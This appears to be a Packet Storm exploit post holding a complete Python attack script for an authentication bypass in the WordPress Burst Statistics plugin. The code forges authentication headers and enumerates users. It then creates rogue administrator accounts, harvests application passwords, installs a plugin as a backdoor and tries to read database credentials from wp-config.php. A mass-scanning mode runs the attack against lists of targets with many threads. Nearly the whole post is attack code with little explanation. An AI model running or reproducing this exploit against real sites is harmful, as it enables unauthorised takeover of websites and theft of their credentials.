Share
## https://sploitus.com/exploit?id=PACKETSTORM:222846
==================================================================================================================================
| # Title : WordPress 3.4.1.1 Burst Statistics Auth Bypass to Admin Takeover |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://wordpress.org/plugins/burst-statistics/ |
==================================================================================================================================
[+] Summary : This Python script is a multi-component exploitation framework targeting an authentication bypass vulnerability in a WordPress plugin environment,
designed to automate discovery, validation, and privilege escalation workflows.
[+] POC :
#!/usr/bin/env python3
import argparse
import base64
import json
import random
import string
import sys
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except ImportError:
print("[!] requests library required: pip3 install requests")
sys.exit(1)
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-8181 - Burst Statistics Auth Bypass to Admin Takeover โ
โ Affected: 3.4.0 - 3.4.1.1 | By indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class BurstExploit:
def __init__(self, target_url, admin_username=None, verify_ssl=False, timeout=15, output_file=None):
self.target = target_url.rstrip('/')
self.admin_user = admin_username
self.verify = verify_ssl
self.timeout = timeout
self.output_file = output_file
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
self.vulnerable = False
self.discovered_users = []
def log(self, level, msg):
colors = {
"info": Colors.BLUE, "ok": Colors.GREEN, "warn": Colors.YELLOW,
"fail": Colors.RED, "critical": Colors.MAGENTA, "success": Colors.CYAN
}
prefix = {"info": "[*]", "ok": "[+]", "warn": "[!]", "fail": "[-]", "critical": "[!!!]", "success": "[โ]"}
print(f"{colors.get(level, Colors.WHITE)}{prefix.get(level, '[?]')} {msg}{Colors.RESET}")
if self.output_file and level in ["ok", "success", "critical"]:
with open(self.output_file, 'a') as f:
f.write(f"{msg}\n")
def _make_request(self, method, url, headers=None, data=None, json_data=None):
"""Make HTTP request with error handling"""
try:
return self.session.request(
method, url, headers=headers, json=json_data, data=data,
timeout=self.timeout, allow_redirects=False
)
except requests.exceptions.Timeout:
self.log("warn", f"Timeout connecting to {url}")
except requests.exceptions.ConnectionError:
self.log("warn", f"Connection error to {url}")
except Exception as e:
self.log("warn", f"Request error: {str(e)[:50]}")
return None
def get_rest_url(self, route):
"""Build REST API URL with fallback for pretty permalinks"""
resp = self._make_request("GET", f"{self.target}/wp-json")
if resp and resp.status_code == 200:
return f"{self.target}/wp-json{route}"
return f"{self.target}/?rest_route={route}"
def build_bypass_headers(self, username):
"""Construct headers that trigger the authentication bypass"""
fake_creds = base64.b64encode(f"{username}:bypass_CVE_2026_8181".encode()).decode()
return {
"X-BURSTMAINWP": "1",
"Authorization": f"Basic {fake_creds}",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
def check_wordpress(self):
"""Verify target is running WordPress"""
self.log("info", f"Checking {self.target} for WordPress...")
resp = self._make_request("GET", self.target)
if not resp:
return False
indicators = ["wp-content", "wp-includes", "wordpress", "generator\" content=\"WordPress"]
for ind in indicators:
if ind.lower() in resp.text.lower():
self.log("ok", "WordPress detected")
return True
rest_resp = self._make_request("GET", f"{self.target}/wp-json")
if rest_resp and rest_resp.status_code == 200:
self.log("ok", "WordPress REST API detected")
return True
self.log("warn", "Could not confirm WordPress installation")
return False
def check_burst_statistics(self):
"""Detect Burst Statistics plugin and version"""
self.log("info", "Checking for Burst Statistics plugin...")
resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/readme.txt")
if resp and resp.status_code == 200:
for line in resp.text.split('\n'):
if "stable tag:" in line.lower():
version = line.split(':')[-1].strip()
self.log("ok", f"Burst Statistics version: {version}")
if version in ["3.4.0", "3.4.1", "3.4.1.1"]:
self.log("critical", f"VERSION {version} IS VULNERABLE!")
self.vulnerable = True
return version
else:
self.log("warn", f"Version {version} not in vulnerable range (3.4.0-3.4.1.1)")
return version
resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/assets/js/build/burst.min.js")
if resp and resp.status_code == 200:
self.log("ok", "Burst Statistics plugin detected (version unknown)")
return "unknown"
self.log("warn", "Burst Statistics not detected or not accessible")
return None
def enumerate_users(self):
"""Enumerate WordPress users via multiple methods"""
self.log("info", "Enumerating WordPress users...")
usernames = set()
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users")
if resp and resp.status_code == 200:
try:
users = resp.json()
if isinstance(users, list):
for user in users:
slug = user.get('slug', '')
name = user.get('name', '')
if slug:
usernames.add(slug)
self.log("ok", f"Found: {slug} (ID: {user.get('id')})")
except:
pass
for i in range(1, 15):
resp = self._make_request("GET", f"{self.target}/?author={i}")
if resp and resp.status_code in [301, 302]:
location = resp.headers.get('Location', '')
if '/author/' in location:
username = location.split('/author/')[-1].rstrip('/')
if username and username not in ['', 'admin']:
usernames.add(username)
self.log("ok", f"Found via author enum: {username}")
resp = self._make_request("GET", f"{self.target}/wp-json/oembed/1.0/embed?url={self.target}")
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'author_name' in data:
usernames.add(data['author_name'])
self.log("ok", f"Found via oEmbed: {data['author_name']}")
except:
pass
if not usernames:
default_users = ['admin', 'administrator', 'wordpress', 'wpadmin', 'root']
if self.admin_user:
default_users.insert(0, self.admin_user)
usernames = set(default_users)
self.log("warn", f"Using default usernames: {', '.join(usernames)}")
self.discovered_users = list(usernames)
return self.discovered_users
def test_auth_bypass(self, username):
"""Test if authentication bypass works for a given username"""
self.log("info", f"Testing bypass with username: {username}")
headers = self.build_bypass_headers(username)
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users/me?context=edit", headers=headers)
if resp and resp.status_code == 200:
try:
data = resp.json()
if data.get('id', 0) > 0:
self.log("success", f"BYPASS SUCCESSFUL! Authenticated as: {data.get('name', username)} (ID: {data['id']})")
self.log("ok", f"Email: {data.get('email', 'N/A')}")
self.log("ok", f"Roles: {', '.join(data.get('roles', []))}")
return data
except:
pass
resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth",
headers=headers, json_data={})
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'token' in data:
self.log("success", "Bypass confirmed via mainwp-auth endpoint!")
return data
except:
pass
if resp:
self.log("fail", f"Bypass failed for {username} (HTTP {resp.status_code})")
return None
def create_admin_user(self, username, custom_user=None, custom_pass=None):
"""Create new WordPress administrator account"""
new_user = custom_user or f"sec_{''.join(random.choices(string.ascii_lowercase, k=6))}"
new_pass = custom_pass or ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))
new_email = f"{new_user}@localhost.local"
self.log("info", f"Creating admin account: {new_user}")
headers = self.build_bypass_headers(username)
payload = {
"username": new_user,
"password": new_pass,
"email": new_email,
"roles": ["administrator"],
"name": new_user,
"description": "Created via CVE-2026-8181"
}
resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/users",
headers=headers, json_data=payload)
if resp and resp.status_code in [200, 201]:
try:
data = resp.json()
if data.get('id'):
self.log("critical", "=" * 60)
self.log("success", "NEW ADMIN ACCOUNT CREATED!")
self.log("ok", f"Username: {new_user}")
self.log("ok", f"Password: {new_pass}")
self.log("ok", f"Email: {new_email}")
self.log("ok", f"User ID: {data['id']}")
self.log("ok", f"Login: {self.target}/wp-admin/")
self.log("critical", "=" * 60)
return {"username": new_user, "password": new_pass, "email": new_email, "id": data['id']}
except:
pass
self.log("fail", "Failed to create admin user")
return None
def get_app_password(self, username):
"""Obtain persistent Application Password"""
self.log("info", "Attempting to obtain Application Password...")
headers = self.build_bypass_headers(username)
resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth",
headers=headers, json_data={})
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'token' in data:
token = data['token']
try:
decoded = base64.b64decode(token).decode()
if ':' in decoded:
cred_user, cred_pass = decoded.split(':', 1)
self.log("success", "Application Password obtained!")
self.log("ok", f"Username: {cred_user}")
self.log("ok", f"Password: {cred_pass}")
return {"username": cred_user, "password": cred_pass, "token": token}
except:
self.log("ok", f"Token: {token[:50]}...")
return {"token": token}
except:
pass
self.log("warn", "Could not obtain Application Password")
return None
def install_plugin(self, username, plugin_slug="wp-file-manager"):
"""Attempt to install a plugin as admin"""
self.log("info", f"Attempting to install plugin: {plugin_slug}")
headers = self.build_bypass_headers(username)
resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/plugins", headers=headers)
if not resp or resp.status_code != 200:
self.log("warn", "Cannot access plugins endpoint")
return None
payload = {"slug": plugin_slug, "status": "active"}
resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/plugins",
headers=headers, json_data=payload)
if resp and resp.status_code in [200, 201]:
self.log("success", f"Plugin {plugin_slug} installed successfully!")
return True
self.log("warn", f"Could not install plugin {plugin_slug}")
return False
def set_wp_config(self, username):
"""Attempt to read wp-config.php (if accessible)"""
headers = self.build_bypass_headers(username)
paths = ['wp-config.php', '../wp-config.php', '../../wp-config.php']
for path in paths:
resp = self._make_request("GET", f"{self.target}/{path}", headers=headers)
if resp and resp.status_code == 200 and 'DB_NAME' in resp.text:
self.log("critical", "FOUND WP-CONFIG.PHP!")
for line in resp.text.split('\n'):
if any(x in line for x in ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY']):
if 'define' in line and ')' in line:
self.log("ok", line.strip())
return resp.text
self.log("warn", "Could not access wp-config.php")
return None
def run_full_exploit(self, create_admin=True, install_backdoor=False, steal_config=False):
"""Execute complete exploit chain"""
print(BANNER)
self.log("info", f"Target: {self.target}")
if not self.check_wordpress():
self.log("fail", "Target does not appear to be WordPress")
return None
version = self.check_burst_statistics()
if not self.vulnerable and version and version not in ["3.4.0", "3.4.1", "3.4.1.1", "unknown"]:
self.log("warn", f"Version {version} may not be vulnerable")
self.log("info", "Proceeding with exploit attempt anyway...")
usernames = self.enumerate_users()
print()
for username in usernames:
result = self.test_auth_bypass(username)
if result:
self.log("critical", f"SUCCESS! Exploited with username: {username}")
print()
app_pw = self.get_app_password(username)
if create_admin:
print()
new_admin = self.create_admin_user(username)
if new_admin:
return new_admin
if install_backdoor:
print()
self.install_plugin(username)
if steal_config:
print()
self.set_wp_config(username)
return {"bypassed": True, "username": username, "app_password": app_pw}
self.log("fail", "Exploit failed - target may be patched or protected")
return None
class MassScanner:
def __init__(self, threads=50, timeout=15, output_file="vulnerable_targets.txt"):
self.threads = threads
self.timeout = timeout
self.output_file = output_file
self.vulnerable = []
def scan_target(self, target_url):
"""Scan single target for vulnerability"""
try:
exploit = BurstExploit(target_url, timeout=self.timeout, verify_ssl=False)
if exploit.check_wordpress():
version = exploit.check_burst_statistics()
if exploit.vulnerable:
for username in ['admin', 'administrator']:
if exploit.test_auth_bypass(username):
return {"url": target_url, "vulnerable": True, "username": username, "version": version}
return {"url": target_url, "vulnerable": False}
except Exception as e:
return {"url": target_url, "vulnerable": False, "error": str(e)[:50]}
def scan_from_file(self, file_path):
"""Scan multiple targets from file"""
with open(file_path, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
self.log("info", f"Loaded {len(targets)} targets, scanning with {self.threads} threads")
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.scan_target, target): target for target in targets}
for future in as_completed(futures):
result = future.result()
if result.get('vulnerable'):
self.log("success", f"VULNERABLE: {result['url']} (user: {result.get('username')})")
with open(self.output_file, 'a') as f:
f.write(f"{result['url']} - {result.get('username')} - {result.get('version')}\n")
def log(self, level, msg):
colors = {"info": Colors.BLUE, "success": Colors.GREEN}
print(f"{colors.get(level, Colors.WHITE)}[*] {msg}{Colors.RESET}")
def interactive_mode():
"""Interactive exploit mode"""
print(BANNER)
print(Colors.CYAN + "\nInteractive Exploit Mode\n" + Colors.RESET)
target = input(Colors.YELLOW + "[?] Target URL (http://example.com): " + Colors.RESET).strip()
if not target.startswith('http'):
target = 'http://' + target
username = input(Colors.YELLOW + "[?] Admin username (press Enter to enumerate): " + Colors.RESET).strip() or None
exploit = BurstExploit(target, admin_username=username, verify_ssl=False)
if not exploit.check_wordpress():
print(Colors.RED + "[-] Not a WordPress site!" + Colors.RESET)
return
print()
result = exploit.run_full_exploit(create_admin=True)
if result:
print(Colors.GREEN + "\n[+] Exploit completed successfully!" + Colors.RESET)
else:
print(Colors.RED + "\n[-] Exploit failed!" + Colors.RESET)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-8181 - Burst Statistics Authentication Bypass to Admin Takeover",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", help="Target WordPress URL")
parser.add_argument("-U", "--username", default="admin", help="Admin username (default: admin)")
parser.add_argument("--create-user", action="store_true", help="Create new admin account")
parser.add_argument("--new-user", help="Custom username for new admin account")
parser.add_argument("--new-pass", help="Custom password for new admin account")
parser.add_argument("--install-plugin", help="Install a plugin (slug, e.g., wp-file-manager)")
parser.add_argument("--steal-config", action="store_true", help="Attempt to read wp-config.php")
parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL verification")
parser.add_argument("-t", "--timeout", type=int, default=15, help="Request timeout")
parser.add_argument("-o", "--output", help="Output file for results")
parser.add_argument("-l", "--list", help="File containing list of targets (one per line)")
parser.add_argument("--threads", type=int, default=50, help="Threads for mass scan (default: 50)")
parser.add_argument("-i", "--interactive", action="store_true", help="Interactive mode")
args = parser.parse_args()
if args.interactive:
interactive_mode()
return
if args.list:
scanner = MassScanner(threads=args.threads, output_file=args.output or "vulnerable_targets.txt")
scanner.scan_from_file(args.list)
return
if not args.url:
parser.print_help()
sys.exit(1)
exploit = BurstExploit(
target_url=args.url,
admin_username=args.username,
verify_ssl=not args.insecure,
timeout=args.timeout,
output_file=args.output
)
result = exploit.run_full_exploit(
create_admin=args.create_user,
install_backdoor=bool(args.install_plugin),
steal_config=args.steal_config
)
if result and args.create_user and args.new_user:
exploit.create_admin_user(args.username, args.new_user, args.new_pass)
if result and args.install_plugin:
exploit.install_plugin(args.username, args.install_plugin)
if result and args.steal_config:
exploit.set_wp_config(args.username)
sys.exit(0 if result else 1)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================